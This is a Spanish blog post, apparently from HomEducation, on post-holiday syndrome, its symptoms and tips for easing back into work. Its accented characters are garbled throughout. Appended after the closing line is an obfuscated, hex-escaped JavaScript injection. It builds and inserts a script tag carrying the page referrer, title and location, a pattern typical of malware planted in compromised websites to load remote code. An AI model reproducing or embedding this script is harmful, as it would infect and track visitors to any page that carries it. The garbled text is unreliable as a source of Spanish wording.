El SAi??ndrome Postvacacional

Comienza la vuelta a la rutina,a los horarios,al trabajo,las clases,las prisas…todo esto de lo que intentamos huir en verano que siempre viene asociado a una frase ”SAi??ndrome postvacacional” seguro que mA?s de uno ha oAi??do hablar de Ai??l.

Pero,A?quAi?? significa realmente este sAi??ntoma?

  • Es una incapacidad que sienten las personas a la hora de volver Ai??al trabajo o a la vida cotidiana,este sAi??ntoma se manifiesta con una serie de sensaciones y dolores que se suelen repetir a los pocos dAi??as.
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Afecta ya al 35% de los trabajadores espaAi??oles.

A?CA?mo saber si sufro el ”sAi??ndrome postvacacional”?

  • Se suele acompaAi??ar como hemos mencionado antes de una serie de sAi??ntomas como pueden ser:depresiA?n,cansancio continuo, tristeza, apatAi??a, nauseas, irascibilidad, agobio, estrAi??s…y problemas estomacales tambiAi??n.
  • Son muchos los sAi??ntomas que encontramos que rodean esta famosa enfermedad que es causada sobretodo debido al cambio de horario y forma de vida.
  • Ai??Los sAi??ntomas serA?n mA?s graves cuanto mayor haya sido el cambio y mA?s cueste acepter la vuelta al trabajo.

A?CA?mo se puede evitar?

  • Uno de los mejores mAi??todos es comenzar la rutina de forma gradual,ya sea en el trabajo o en la vida cotidiana,de esta manera el cambio no nos resultarA? tan brusco.
  • Intentar llegar llenos de energAi??a y optimismo es otro buen mAi??todo para olvidarnos de las sensaciones postvacacionales intentando disfrutar del presente.
  • Organizar planes que nos resulten apetecibles y cA?modos de realizar cerca de nuestro entorno asAi?? lo veremos de otro modo mucho mA?s optimista.

”Todo se consigue con el trabajo, hasta la virtud”
DiA?genes

A?Esperamos desde HomEducation que tengaAi??s un grato regreso de vacaciones! uot;\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

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